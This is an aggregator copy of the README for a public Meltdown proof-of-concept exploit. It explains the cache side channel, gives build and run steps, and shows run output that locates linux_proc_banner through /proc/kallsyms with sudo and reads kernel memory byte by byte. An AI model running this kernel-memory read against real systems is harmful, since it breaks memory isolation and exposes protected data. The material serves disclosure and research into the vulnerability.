222

GitHub - paboldin/meltdown-exploit: Meltdown Exploit PoC

 6 years ago
source link: https://github.com/paboldin/meltdown-exploit
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

MELTDOWN EXPLOIT POC

Speculative optimizations execute code in a non-secure manner leaving data traces in microarchitecture such as cache.

Lipp et. al 2018 published their code 2018-01-09 at https://github.com/IAIK/meltdown. Look at their paper for details: https://meltdownattack.com/meltdown.pdf.

Can only dump linux_proc_banner at the moment, since requires accessed memory to be in cache and linux_proc_banner is cached on every read from /proc/version. Might work with prefetch. Works with sched_yield.

Build with make, run with ./run.sh.

Can't defeat KASLR yet, so you may need to enter your password to find linux_proc_banner in the /proc/kallsyms (or do it manually).

Flush+Reload and target array approach taken from spectre paper https://spectreattack.com/spectre.pdf implemented following clues from https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/.

Pandora's box is open.

Take a look at the full exploit which works with IAIK's version on my machine.

Result:

$ make
cc -O2 -msse2   -c -o meltdown.o meltdown.c
cc   meltdown.o   -o meltdown
$ ./run.sh 
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo awk 
	/linux_proc_banner/ {
		if (strtonum("0x"$1))
			print $1;
		exit 0;
	} /proc/kallsyms
+ linux_proc_banner=ffffffffa3e000a0
+ set +x
cached = 29, uncached = 271, threshold 88
read ffffffffa3e000a0 = 25 %
read ffffffffa3e000a1 = 73 s
read ffffffffa3e000a2 = 20  
read ffffffffa3e000a3 = 76 v
read ffffffffa3e000a4 = 65 e
read ffffffffa3e000a5 = 72 r
read ffffffffa3e000a6 = 73 s
read ffffffffa3e000a7 = 69 i
read ffffffffa3e000a8 = 6f o
read ffffffffa3e000a9 = 6e n
read ffffffffa3e000aa = 20  
read ffffffffa3e000ab = 25 %
read ffffffffa3e000ac = 73 s
read ffffffffa3e000ad = 20  
read ffffffffa3e000ae = 28 (
read ffffffffa3e000af = 62 b
read ffffffffa3e000b0 = 75 u
read ffffffffa3e000b1 = 69 i
read ffffffffa3e000b2 = 6c l
read ffffffffa3e000b3 = 64 d
read ffffffffa3e000b4 = 64 d
read ffffffffa3e000b5 = 40 @
VULNERABLE
VULNERABLE ON
4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping	: 9
microcode	: 0x5e
cpu MHz		: 3499.316
cache size	: 6144 KB
physical id	: 0

Works on

The Vulnerable CPU/Kernels list is moved here: #19

The Invulnerable CPU/Kernels list is moved here: #22


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK